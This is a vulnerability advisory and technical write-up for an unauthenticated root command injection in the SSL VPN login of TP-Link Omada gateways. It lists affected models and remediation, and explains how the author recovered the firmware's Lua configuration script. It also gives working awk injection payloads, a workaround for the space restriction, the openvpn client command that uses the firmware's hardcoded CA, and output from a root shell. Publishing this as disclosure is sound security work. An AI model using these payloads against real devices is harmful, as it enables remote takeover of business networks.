TP-Link Omada SSL VPN Unauthenticated RCE (CVE-2026-19586)
Description
A command injection vulnerability (CWE-78) exists in the SSL VPN authentication handling of TP-Link Omada gateway firmware. When the OpenVPN-based SSL VPN server is enabled, the username submitted during authentication is spliced unquoted into an awk program inside /usr/sbin/checkpsw.sh, the script OpenVPN invokes to verify credentials. Because that script runs before the password is validated, a crafted username is interpreted as awk source and executed as root, before authentication.
An attacker able to reach the SSL VPN service can achieve unauthenticated remote code execution by initiating an OpenVPN connection with a malicious username. The server presents a certificate issued by a CA that is hardcoded and identical across all firmware images. No valid credentials, client certificate, or prior access to the device is required.
Advisory Links:
Affected Devices
This vulnerability affects the shared SSL VPN authentication code (checkpsw.sh, generated by convert.lua) present across the Omada gateway range. TP-Link has released fixed firmware for the following models and hardware versions:
| Product Model | Hardware Version | Fixed Firmware Version |
|---|---|---|
| ER7212PC | V2 | 2.4.3 Build 20260722 Rel.40250 |
| ER605 | V2 | 2.4.4 Build 20260630 Rel.14398 |
| ER605W | V2 | 2.0.4 Build 20260723 Rel.43763 |
| ER7206 | V2 | 2.3.5 Build 20260625 Rel.43136 |
| ER7406 | V1 | 1.3.4 Build 20260625 Rel.43136 |
| ER707-M2 | V1 | 1.4.4 Build 20260625 Rel.43063 |
| ER7412-M2 | V1 | 1.2.0 Build 20260630 Rel.82947 |
| ER8411 | V1 | 1.4.1 Build 20260708 Rel.64832 |
| ER706W | V1 | 1.2.11 Build 20260723 Rel.41567 |
| ER706W-4G | V1 | 1.2.6 Build 20260723 Rel.41321 |
| ER706W-4G | V2 | 2.1.11 Build 20260723 Rel.41624 |
| ER706WP-4G | V1 | 1.1.11 Build 20260723 Rel.41624 |
| ER703WP-4G-Outdoor | V1 | 1.1.7 Build 20260723 Rel.41712 |
| ER603WP-4G-Outdoor | V1 | 1.0.2 Build 20260723 Rel.43271 |
| ER701-5G-Outdoor | V1 | 1.0.3 Build 20260723 Rel.40931 |
| DR3220v-4G | V1 | 1.2.0 Build 20260630 Rel.82652 |
| DR3650v | V1 | 1.2.0 Build 20260630 Rel.83311 |
| DR3650v-4G | V1 | 1.2.0 Build 20260630 Rel.83347 |
| DR3150 | V1 | 1.0.1 Build 20260722 Rel.16854 |
The vulnerable component is shared across the Omada gateway line rather than being specific to any one model. The full list of affected models and fixed builds is maintained in the vendor advisory.
Impact Assessment
This vulnerability allows an unauthenticated remote attacker to execute arbitrary commands as root on an affected device that has the SSL VPN enabled.
CVSS 4.0 Score: 9.3 (Critical) CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:L/SI:L/SA:L
- Network-reachable (the SSL VPN listens on the WAN interface; no adjacency to the target is required)
- No authentication required (the injection runs before the password is checked)
- No user interaction required
- Full root-level code execution on the device
- The TLS handshake requires no client certificate and relies on a CA that is hardcoded and identical across all firmware images
The single precondition is that the OpenVPN Server (SSL VPN) feature is enabled. It is off by default but commonly turned on to provide remote access to a business gateway. Once enabled, the service is reachable from any routed source with no requirement to share a network segment with the device.
Remediation
TP-Link has released fixed firmware for the affected models listed above. The following is recommended:
- Update affected devices to the fixed firmware version for the relevant model and hardware version.
- If updating is not immediately possible, disable the OpenVPN Server (SSL VPN) feature, which removes the vulnerable code path from the authentication flow.
- Where the SSL VPN must remain enabled, restrict which source addresses can reach the VPN port (UDP 1194 by default) to trusted networks until the fix is applied.
Technical Walkthrough
My previous two writeups, the TDDP authentication bypass (CVE-2026-0834) and the DHCP Option 66 injection (CVE-2026-11834), were both against the Archer C20, a consumer router. Both findings also required the attacker to be adjacent to the target, which is what kept both issues at High severity rather than Critical.
This time I was working on an Omada ER7212PC. Omada is TP-Link’s business range, managed from a central controller and deployed in places like offices, retail sites and small businesses.
I wanted to carry on with network protocol data, which is where both of the previous findings came from. The Option 66 injection was already a WAN-side issue, but it depended on answering the device’s own DHCP requests, which means sharing its broadcast domain. What I was after this time was a service the device answers on a routed address, where an attacker does not have to sit on the same segment.
I conducted the following research against the Omada ER7212PC V2 (firmware 6.1.0.19) on physical hardware. Paths, line numbers and configuration defaults may differ on other models or firmware versions.
Firmware Extraction
The firmware image was downloaded from the TP-Link support site and unpacked the same way as in the Option 66 research (binwalk to locate the SquashFS signature and its offset, dd to carve it out of the image, and unsquashfs to unpack it). I covered that sequence in full in the Option 66 writeup, and it is the same here, so I have not repeated it.
This produced an aarch64 OpenWrt root filesystem. The device is a combined unit, acting as both an Omada gateway and an Omada controller, so a Java controller application runs alongside the usual OpenWrt userland. This post is about the OpenWrt side.
Locating the SSL VPN Configuration
The device offers IPsec, PPTP, L2TP and an OpenVPN-based SSL VPN, and I started with the SSL VPN. OpenVPN has a large configuration surface, and several of its directives name an external program to run, so I thought that the contents of the server’s configuration file would determine most of what was worth looking at.
OpenWrt keeps service settings in UCI, under /etc/config/. Looking in this directory, I noticed there was an ssl_vpn_config file:
$ cat etc/config/ssl_vpn_config
config global 'sslvpn_server_config'
option auth_type 'local'
option username_error_time '10'
option vpn_redirect 'off'
option port '1194'
option idle_time '180'
option ip_lock_enable 'off'
option ip_expire_time '3600'
option username_expire_time '3600'
option username_lock_enable 'off'
option ip_error_time '10'
option enable 'off'
option spare 'off'
This defined the default configuration, including local account authentication, UDP port 1194, and the feature being disabled until an administrator turned it on. It did not say anything about how OpenVPN itself was configured, so I moved on to the service that consumes these settings, /etc/init.d/sslvpn, which sources a shared file of functions and passes the config section into one of them:
$ cat etc/init.d/sslvpn
#!/bin/sh /etc/rc.common
[SNIP]
. /lib/sslvpn/sslvpn-common.sh
start() {
touch /tmp/ssl_vpn_lock
touch /tmp/client_lock
config_load 'ssl_vpn_config'
section_enabled "sslvpn_server_config" || return 1
start_instance 'sslvpn_server_config'
[SNIP]
}
[SNIP]
I then looked at the start_instance() function, which was defined in /lib/sslvpn/sslvpn-common.sh:
$ sed -n '58,78p' lib/sslvpn/sslvpn-common.sh
start_instance() {
echo "start SSL VPN instance" >>/dev/console
local s="$1"
local daemon_size=
section_enabled "$s" || return 1
[ ! -d "/var/run" ] && mkdir -p "/var/run"
[ -f "/etc/openvpn/openvpn_$s.conf" ] && rm "/etc/openvpn/openvpn_$s.conf"
[SNIP: five more stale file and directory cleanups]
[ -f "/tmp/etc/openvpn-psw-file" ] && rm "/tmp/etc/openvpn-psw-file"
touch /tmp/ssl_vpn/gateway
touch /tmp/ssl_vpn/virtual_ip
touch /tmp/etc/openvpn-psw-file
lua /lib/usergroup/usergroup_api.lua clear_resource
lua /usr/lib/lua/openvpn/convert.lua $1
Two lines in that function were of interest, in that any existing /etc/openvpn/openvpn_$s.conf was deleted before the service came up and a Lua script named convert.lua ran immediately afterwards, which meant the OpenVPN configuration was not a file I could read out of the firmware image at all. It was rebuilt from UCI every time the service started, and convert.lua was the script that built it, making it the only complete description of how the server was configured. I moved on to that next:
$ file usr/lib/lua/openvpn/convert.lua
usr/lib/lua/openvpn/convert.lua: Lua bytecode, version 5.1
This confirmed that the script had been shipped as compiled Lua bytecode rather than as source.
Recovering convert.lua
convert.lua writes the OpenVPN server configuration, and that configuration decides what an unauthenticated client can reach. The goal was to establish which of its directives are written on every device, whatever the administrator has configured. The directives that matter are:
- Whether a client certificate is required, which decides if a client with no credentials gets past the TLS handshake
- Whether a
tls-authortls-cryptkey is set, which decides if unsigned packets are answered at all - Which script hooks are wired and to which programs, which decides what code runs before the password check
- The
script-securitylevel, which decides whether those hooks may run external programs - The CA, certificate and key paths, which decide what key material the server presents
Reading the generated file from a running device would only show one version of it, built from whatever was set in UCI at the time. The script shows which directives are written every time and which depend on configuration. This is important, because a weakness in an unconditional directive would affect every deployment rather than one.
A name in the string table proves the text exists somewhere in the script but it does not show whether that directive is written to the configuration file, what value it takes, or whether it is conditional. This means I needed to recover the source.
Lua Binary Chunks
Lua source is normally compiled when it loads. It can also be precompiled with luac into a binary chunk, which is how convert.lua was shipped. A chunk is the compiler’s output serialised to disk, not machine code for the processor. It contains a 12-byte header describing the build that produced it, followed by the top-level function. Each function holds:
- Its bytecode instructions
- A table of the constant values those instructions refer to
- Any functions defined inside it
- Debug information, if it was not stripped at compile time
A disassembler prints the individual VM instructions. A decompiler reconstructs Lua source from these instructions (I wanted the source, so I needed a decompiler). Both have to parse the chunk first, and that is where this file created some issues for me.
The Chunk Header
My first attempt was to disassemble the chunk with a Lua 5.1 toolchain:
$ luac5.1 -l usr/lib/lua/openvpn/convert.lua
luac5.1: usr/lib/lua/openvpn/convert.lua: bad header in precompiled chunk
The header records the properties of the build that produced the chunk. This includes the byte order, and the widths of the integer and floating point types used to write everything after it. The interpreter compares those values against its own build and rejects anything that differs. The error does not say which field was wrong, so I dumped the header:
$ xxd -l 12 usr/lib/lua/openvpn/convert.lua
00000000: 1b4c 7561 5100 0104 0404 0804 .LuaQ.......
The header is twelve raw bytes. There are no field names or separators in the file, so each field is identified only by its offset. To work out which byte was which, I compiled a small script with the same version of luac locally. That gave me a header in the same format, from a build I knew was good, to compare against:
$ echo 'print(1)' > /tmp/ref.lua && luac5.1 -o /tmp/ref.luac /tmp/ref.lua
$ xxd -l 12 /tmp/ref.luac
00000000: 1b4c 7561 5100 0104 0804 0800 .LuaQ.......
Comparing the two against the field order Lua 5.1 uses showed differences in two places:
| Offset | Field | Firmware | Local reference |
|---|---|---|---|
| 0-3 | Signature | 1b 4c 75 61 | 1b 4c 75 61 |
| 4 | Version | 51 | 51 |
| 5 | Format | 00 | 00 |
| 6 | Endianness | 01 (little) | 01 (little) |
| 7 | sizeof(int) | 04 | 04 |
| 8 | sizeof(size_t) | 04 | 08 |
| 9 | sizeof(Instruction) | 04 | 04 |
| 10 | sizeof(lua_Number) | 08 | 08 |
| 11 | Integral flag | 04 | 00 |
Offset 8 was expected, it records that the chunk was compiled for a 32-bit target, and my host is 64-bit.
Offset 11 was not. lua_Number is the C type Lua uses to store every number, and in a stock build it is a double. Lua can also be compiled to use an integer type instead, for platforms with no floating point hardware. This byte records which of the two the build used, so the only valid values are 0 for a float and 1 for an integer. This chunk had 4.
I then tried unluac, a decompiler. It reads the sizes declared in the header rather than requiring them to match the host, so the size_t difference would not affect it. It stopped on the same byte:
$ java -cp ulbuild unluac.Main usr/lib/lua/openvpn/convert.lua
Exception in thread "main" java.lang.IllegalStateException: The input chunk reports an
invalid code for lua number integrality: 4
at unluac.parse.LHeaderType.parse_number_integrality(LHeaderType.java:127)
at unluac.parse.LHeaderType51.parse_main(LHeaderType.java:196)
Two tools rejecting the same field made it likely the byte was genuinely out of spec rather than misread. The header only describes how to read the rest of the chunk, so changing it cannot alter any code. I set the byte to 0 in a copy of the file and ran the decompiler again. It got past the header and failed further in which was progress:
$ java -cp ulbuild unluac.Main convert_patched.luac
Exception in thread "main" java.lang.IllegalStateException
at unluac.parse.LConstantType50.parse(LConstantType.java:53)
at unluac.parse.LFunctionType.parse_constants(LFunctionType.java:83)
The Constant Table
Bytecode instructions are fixed width and cannot hold a string or a full precision number inside them. Those values are stored once in a per-function constant table and referenced by index. Each entry is a one-byte type tag followed by the value. Lua 5.1 defines four:
0nil, with no value following1boolean, followed by one byte3number, followed by an 8-byte double4string, followed by a 4-byte length and the characters
The stack trace named LConstantType.java:53. unluac is open source, and that line is the default case of the switch that reads a constant:
switch(type) {
case 0:
return LNil.NIL;
case 1:
return header.bool.parse(buffer, header);
case 3:
return header.number.parse(buffer, header);
case 4:
return header.string.parse(buffer, header);
default:
throw new IllegalStateException();
}
So the chunk held a constant whose tag was none of the four. To find which one, I wrote a short parser that walks the chunk the same way the interpreter does and reports the first tag it cannot handle:
$ python3 lparse.py usr/lib/lua/openvpn/convert.lua
main: params=0 vararg=2 maxstack=18 code=99 @0x20 consts=39
!! unknown constant tag 9 at offset 0x280 (const 12/39)
Constant 12 of 39 carried tag 9. Dumping that region showed what followed it:
$ xxd -s 0x268 -l 48 usr/lib/lua/openvpn/convert.lua
00000268: 7574 6800 0405 0000 0046 6f72 6d00 0405 uth......Form...
00000278: 0000 006e 616d 6500 09f4 0100 0004 0600 ...name.........
00000288: 0000 6e69 7869 6f00 0404 0000 0062 6974 ..nixio......bit
The constants either side are strings, each one a 04 tag, a 4-byte length, then the characters, visible in the right hand column as Form, name, nixio and bit. Tag 09 is followed by four bytes, f4 01 00 00, which is 500 little-endian. Four bytes is an integer width, not the 8-byte double that tag 3 carries. Tag 9 held an integer constant, in a format that has no integer type.
Identifying the Build
An integer width in the header and an integer tag in the constant table are both changes you would make to add an integer type to the language. I checked the interpreter shipped alongside the script:
$ strings usr/lib/liblua.so.5.1.5 | grep -E "lua_isinteger|_LNUM|Lua 5"
lua_isinteger
Lua 5.1
_LNUM
$ grep -E "^Package|^Version|^Source" usr/lib/opkg/info/liblua.control
Package: liblua
Version: 5.1.5-1
Source: package/utils/lua
_LNUM and lua_isinteger, which stock Lua 5.1 does not provide, identify this as OpenWrt’s Lua 5.1.5 built with the LNUM patch. LNUM adds an integer subtype to Lua, which otherwise stores every number as a double. It makes two changes to the chunk format:
LUA_TINT, type tag 9, for constants holding integers- The integral flag byte reused to hold
sizeof(lua_Integer), which is the4seen earlier
Normalising the Chunk
Both changes are in the container. The header describes how to read the file, and constants are values the instructions index into. Neither affects the instruction encoding, so the chunk could be converted to stock Lua 5.1 form and decompiled with unmodified tooling.
The converter walks the chunk in parser order and copies each field through unchanged, with one exception. Where stock Lua expects a tag 3 double, an LNUM tag 9 integer constant is read as a 4-byte integer and written back out widened to an 8-byte double. It recurses into nested prototypes so every function in the file is covered, and passes the debug tables through untouched. The instruction stream is left alone, since LNUM does not change the encoding.
Running it produced a stock chunk, which unluac decompiled:
$ python3 lnum2std.py usr/lib/lua/openvpn/convert.lua convert_std.luac
header in : 1b4c75615100010404040804 (int=4 size_t=4 instr=4 number=8 byte11=4)
header out: 1b4c75615100010404040800 (byte11 normalised to 0)
functions : 8
LUA_TINT : 22 constants widened to double
wrote : convert_std.luac (6550 bytes)
$ java -cp ulbuild unluac.Main convert_std.luac > convert_src.lua
$ wc -l convert_src.lua
427 convert_src.lua
The chunk was compiled without debug information, so the local variable names are gone. unluac names each local after the register it occupied, which makes the output noisy:
L5_46 = {}
L5_46.proto = "udp"
L5_46.dev = "tun_ssl_vpn"
L5_46.topology = "subnet"
L5_46.ca = "/etc/sslvpn/keys/ca.crt"
The string constants and the control flow are intact, which is what I needed to read the configuration back out.
Reading the Generated Configuration
The directives written into every generated configuration are held in one table. Renamed for readability:
conf = {}
conf.proto = "udp"
conf.dev = "tun_ssl_vpn"
conf.topology = "subnet"
conf.ca = "/etc/sslvpn/keys/ca.crt"
conf.dh = "/etc/sslvpn/keys/dh2048.pem"
conf.key = "/etc/sslvpn/keys/server.key"
conf.cert = "/etc/sslvpn/keys/server.crt"
conf.management = management
conf.verb = 2
conf.cipher = "AES-256-CBC"
conf.duplicate_cn = 1
conf.persist_tun = 1
conf.persist_key = 1
conf.max_clients = max_clients
conf.keepalive = "5 60"
conf.client_cert_not_required = 1
conf.auth_user_pass_verify = "/usr/sbin/checkpsw.sh via-env"
conf.script_security = 3
conf.username_as_common_name = 1
conf.txqueuelen = "65535"
conf.reneg_sec = "0"
conf.client_connect = "/usr/sbin/ssl_vpn_auth_login.sh"
conf.client_disconnect = "/usr/sbin/ssl_vpn_auth_logout.sh"
conf.mute_replay_warnings = 1
The loop below it writes the table out as configuration lines:
for key, value in pairs(conf) do
if type(value) == "number" and tonumber(value) == 1 then
out = out .. string.format("%s\n", string.gsub(tostring(key), "_", "-"))
else
out = out .. string.format("%s %s\n", string.gsub(tostring(key), "_", "-"), tostring(value))
end
end
Underscores in the key become hyphens. A numeric value of 1 is written as a bare flag with no value after it. So client_cert_not_required = 1 is written as client-cert-not-required, while auth_user_pass_verify keeps its string.
Earlier in the same function the file also picks up mode server, tls-server, the port and the pushed routes. Those depend on UCI settings. The table above does not, so every SSL VPN server this device generates contains those directives.
Four properties of the generated configuration decide whether a client with no credentials can reach the authentication stage.
The transport is OpenVPN over UDP. /etc/config/ssl_vpn_config defaults to port 1194 and the administrator can change it. UDP is not a security property in itself, but it means there is no TCP handshake to log before an authentication attempt arrives.
client_cert_not_required is set. In a normal OpenVPN deployment each client holds a certificate issued by the server’s CA, and a client without one is rejected during the TLS handshake, before any username is read. That directive turns the requirement off. auth_user_pass_verify, also in the table, points at a script that checks a username and password. Between them, a client presents no certificate and is authenticated on credentials alone.
There is no tls-auth or tls-crypt. These are OpenVPN’s HMAC firewall, a pre-shared key that every packet must be signed with before the server will process it. To confirm neither was set somewhere else, I converted all seven Lua scripts in that directory and searched the decompiled output:
$ grep -l "tls_auth\|tls-auth\|tls_crypt\|tls-crypt\|tls_verify\|tls-verify" src_*.lua
$
Without one, the server will negotiate with any host that contacts it.
conf.ca, conf.key and conf.cert point into /etc/sslvpn/keys/, which is part of the firmware image:
$ ls -la etc/sslvpn/keys/
-rwx------ 1 1761 Jan 17 2026 ca.crt
-rwx------ 1 424 Jan 17 2026 dh2048.pem
-rwx------ 1 5538 Jan 17 2026 server.crt
-rwx------ 1 1708 Jan 17 2026 server.key
Nothing in convert.lua or the service scripts generates this material on first boot. These are files in the SquashFS image, identical on every device running that firmware.
Shipping the CA in the image means anyone can complete the handshake. An attacker needs no position on the network, no sight of a legitimate client connecting, and nothing from the target deployment. They download the firmware, extract ca.crt, and their OpenVPN client validates the target’s server certificate and completes the handshake, because the server presents a certificate issued by the CA in that same download. The first attacker-controlled value to reach the device’s own code is the username.
The Authentication Chain
A command injection that is only reachable after a valid login is a much less useful finding. Before looking for one I needed to know what runs before the password is checked, which is decided by the order OpenVPN calls its script hooks.
On a server, the relevant hooks fire in this order:
| Hook | Fires |
|---|---|
tls-verify | During the TLS handshake, once per certificate in the client’s chain |
auth-user-pass-verify | After the handshake, when the client submits its username and password |
client-connect | After authentication succeeds |
client-disconnect | When the client disconnects |
Reading the directive table against that order:
- No
tls-verifyis set. It would not apply here anyway, becauseclient_cert_not_requiredmeans the client presents no certificate, and the hook fires once per client certificate. client_connectandclient_disconnectare both set. Both run after authentication has succeeded.auth_user_pass_verifyis set to/usr/sbin/checkpsw.sh via-env.
checkpsw.sh is the first script an attacker can reach, and the only one of the four that runs before the password is compared to anything. Whatever it does with the username, it does for an unauthenticated caller.
script_security = 3, also from the directive table, is what allows the script to run at all. OpenVPN’s script security levels run from 0, which blocks external programs, to 3, which permits them and passes passwords through the environment. The via-env argument makes OpenVPN place the submitted credentials in the script’s environment rather than writing them to a temporary file, so checkpsw.sh never reads them explicitly. They are already set as ${username} and ${password} when it starts.
The Injection Point
OpenVPN does not check SSL VPN account credentials itself. The auth_user_pass_verify directive delegates that to an external program, and the via-env argument tells OpenVPN to hand the credentials the client submitted to that program as the environment variables username and password. The program returns 0 to accept the login and 1 to reject it.
The program here is /usr/sbin/checkpsw.sh, a TP-Link-modified version of the example authentication script that ships with OpenVPN. It is plain shell and can be read directly.
The accounts it checks against are held in a plain text file:
1 #!/bin/sh
[SNIP]
5 # This script will authenticate OpenVPN users against
6 # a plain text file. The passfile should simply contain
7 # one row per user with the username first followed by
8 # one or more space(s) or tab(s) and then the password.
9 . /lib/ldap-tplink/api.sh
10 . /lib/functions.sh
11 PASSFILE="/var/etc/openvpn-psw-file"
/var/etc/openvpn-psw-file is written at service start by usergroup_api.lua updatepswfile, which start_instance() calls after convert.lua. It reads the configured accounts out of UCI and writes one line per account.
The check itself is lines 89 to 95:
[SNIP]
89 CORRECT_PASSWORD=`awk '!/^;/&&!/^#/&&$1=="'${username}'"{print $2;exit}' ${PASSFILE}`
90 auth_type=$(uci get ssl_vpn_config.sslvpn_server_config.auth_type)
91 if [ "${CORRECT_PASSWORD}" = "" ] && [ "$auth_type" != "radius" ] && [ "$auth_type" != "ldap" ]; then
92 echo "${TIME_STAMP}: User does not exist: username=\"${username}\", password=\"${password}\"." >> ${LOG_FILE}
93 exit 1
94 fi
95 if [ "${password}" = "${CORRECT_PASSWORD}" ] || [ "$auth_type" == "radius" ] || [ "$auth_type" == "ldap" ]; then
[SNIP]
Line 89 looks the submitted username up in the password file and stores the password found against it in CORRECT_PASSWORD. Line 91 exits if there was no match. Line 95 compares the stored password against the one the client sent. If they match, the script carries on to the account lock and expiry checks and eventually exits 0. If not, it falls through to the end of the file and exits 1.
auth_type on line 90 is the configured authentication backend, read from UCI. It defaults to local. When it is set to radius or ldap the local file is not used, and lines 91 and 95 pass control to the RADIUS and LDAP paths further down the script.
Everything after line 95 runs only once the client has authenticated. An unauthenticated client reaches lines 1 to 95, and ${username} is expanded twice in that range, on lines 89 and 92. Line 92 is a log line, with the value inside double quotes. Line 89 is unquoted, and the result is run as a command.
The awk Program
awk is a text-processing language, standard on Unix systems. It reads input one line at a time and splits each line into fields on whitespace, numbered $1, $2 and so on. The password file is one account per line, a username and a password separated by whitespace, so awk is a reasonable tool for reading a password out of it.
An awk program is a list of rules. Each rule is a pattern followed by an action in braces. For every line of input, if the pattern matches, the action runs. A /regex/ pattern matches the line against a regular expression, and ! negates it.
Line 89 is a single rule. The pattern is three conditions joined with &&:
!/^;/the line does not start with;!/^#/the line does not start with#$1=="..."the first field equals the submitted username
The action, {print $2;exit}, prints the second field and stops. That second field is the stored password, and the backticks around the whole command put it into CORRECT_PASSWORD.
Assembling the Argument
awk takes its program as a command-line argument. On line 89 that argument is built from three parts:
'!/^;/&&!/^#/&&$1=="' single-quoted, passed through as written
${username} unquoted, replaced with the value from the environment
'"{print $2;exit}' single-quoted, passed through as written
The three parts sit next to each other with no spaces between them, so the shell joins them into one argument.
For a username of matt, awk receives:
!/^;/&&!/^#/&&$1=="matt"{print $2;exit}
The username has landed between the two " characters, inside an awk string.
Unquoted Username Expansion
The username is part of the program text, not an input to the program. awk parses it as source.
A " in the username closes the string literal. Everything after it is parsed as awk code. awk provides system(), which runs a shell command.
The safe form passes the value as a variable:
awk -v user="${username}" '!/^;/&&!/^#/&&$1==user{print $2;exit}' "${PASSFILE}"
The program text is fixed, and awk holds the username as a string variable rather than parsing it.
The injection is into awk, not the shell. The shell substitutes the value into the program text and does not look at it again, so ;, |, $(...) and backticks in the username are passed on to awk as ordinary characters and have no effect there.
The " has to reach the script intact. OpenVPN applies string_mod(CC_UTF8, CC_CRLF) to the username before setting it in the environment, which substitutes carriage returns and line feeds. All other printable characters pass through unchanged, including ".
Building a Payload
The injected code has to run a command. awk provides system(), which passes its argument to a shell, runs it and waits for it to finish. For example, system("id") runs id.
The username needs to close the string literal, add a system() call, and leave the rest of the line as valid awk.
Comment Truncation
Injecting x" closes the string literal. Everything after it is parsed as awk code, including the "{print $2;exit} left over from the original program. That leftover starts a string that is never closed, which is a syntax error, and awk refuses to run a program it cannot parse.
# starts a comment in awk. Putting one at the end of the injected text discards the remainder of the line:
x";system("id");#
awk now receives a program it can parse:
!/^;/&&!/^#/&&$1=="x";system("id");#"{print $2;exit}
BEGIN Block Execution
awk runs a rule once for every line of input, so system("id") above only fires if the password file has lines in it.
PASSFILE is /var/etc/openvpn-psw-file. start_instance() creates it empty with touch, as /tmp/etc/openvpn-psw-file, since /var is a symlink to /tmp on this filesystem. It is filled in afterwards from the accounts configured in UCI.
On a device where an administrator has enabled the SSL VPN but not yet added any accounts, that file is empty. With no input lines, no rule runs and nothing executes.
A way around this is to use BEGIN. This is a special pattern where its action runs once, before the first line of input is read, and it runs whether there is any input or not:
x";BEGIN{system("id")};#
IFS Substitution
${username} is expanded unquoted, so the shell splits the result on whitespace before awk runs, therefore the payload cannot contain a space. A username of x";BEGIN{system("cat /etc/passwd")};# would split at the space, leaving awk with x";BEGIN{system("cat as its program and /etc/passwd")};# as the name of an input file.
IFS is the shell variable holding the field separator characters, which by default are space, tab and newline. ${IFS} expands to a space. It can be used in place of one because two shells are involved, in this order:
checkpsw.shexpands${username}. The result is not rescanned, so the literal characters${IFS}are left as they are. They contain no space, so field splitting does not act on them.awkparses the program and callssystem(), which passes the string to a second shell.- That shell expands
${IFS}into a space.
So cat${IFS}/etc/passwd reaches the second shell as cat /etc/passwd.
Length Limitation
OpenVPN caps the username at USER_PASS_LEN, which is 128 bytes in 2.4.3. The scaffold is:
x";BEGIN{system("<command>")};#
That is 22 characters, leaving 106 for the command.
Proof of Concept
The full exploit will be published on GitHub one month after this post, to give affected deployments time to patch:
The proof-of-concept script automates the sequence:
- Builds the username payload, inserting the command into the
BEGINblock scaffold. - Writes a temporary credentials file with the payload as the username and an arbitrary string as the password, since the password is never read.
- Invokes
openvpnagainst the target using the CA certificate extracted from the firmware. - Deletes the credentials file.
The openvpn invocation is:
openvpn --client --dev tun --proto udp --remote <target-ip> <port> --resolv-retry 1 --nobind --ca ca.crt --remote-cert-tls server --cipher AES-256-CBC --data-ciphers-fallback AES-256-CBC --reneg-sec 0 --auth-user-pass <credentials-file> --auth-nocache --verb 3
The handshake completes because the CA validates the target’s server certificate. OpenVPN on the device then passes the username to checkpsw.sh, awk parses the injected BEGIN block, and system() runs the command as root before the password is compared against anything.
The test environment was two machines: the target gateway with the SSL VPN enabled, reachable on its WAN address (10.0.0.100), and an attacker machine with openvpn installed and no credentials for the device. ca.crt ships with the script and is identical on every device running this firmware. openvpn needs CAP_NET_ADMIN to create the tun device, so the script runs as root on the attacker machine, not on the target.
The command used during testing is omitted here. It was a short second stage, used only to establish a session and confirm the execution context:
Connection received on 10.0.0.100 45638
BusyBox v1.22.1 built-in shell (ash)
/ # id
uid=0(root) gid=0(root)
The session came back from 10.0.0.100, the device’s WAN address, running as root. No credentials, no client certificate and no prior access to the device were used.
Disclosure Timeline
| Date | Event |
|---|---|
| 21 Apr 2026 | Vulnerability reported to TP-Link Security Team |
| 27 Apr 2026 | Initial acknowledgement from TP-Link |
| 10 Aug 2026 | Fixed firmware released |
| 20 Aug 2026 | CVE record published |
References
- MITRE, “CWE-78: Improper Neutralization of Special Elements used in an OS Command (‘OS Command Injection’),” https://cwe.mitre.org/data/definitions/78.html
- OpenVPN, “Reference Manual for OpenVPN 2.4,” https://openvpn.net/community-resources/reference-manual-for-openvpn-2-4/
- Kein-Hong Man, “A No-Frills Introduction to Lua 5.1 VM Instructions,” https://archive.org/details/a-no-frills-intro-to-lua-5.1-vm-instructions
- HansWessels, “unluac (Lua bytecode decompiler),” https://github.com/HansWessels/unluac
- TP-Link, “Security Advisory,” https://www.tp-link.com/us/support/faq/5256/
- Omada Networks, “Gateway Firmware Downloads,” https://www.omadanetworks.com/en/support/download/
- mattgsys, “CVE-2026-19586 Proof of Concept,” https://github.com/mattgsys/CVE-2026-19586
- CVE Program, “CVE-2026-19586,” https://www.cve.org/cverecord?id=CVE-2026-19586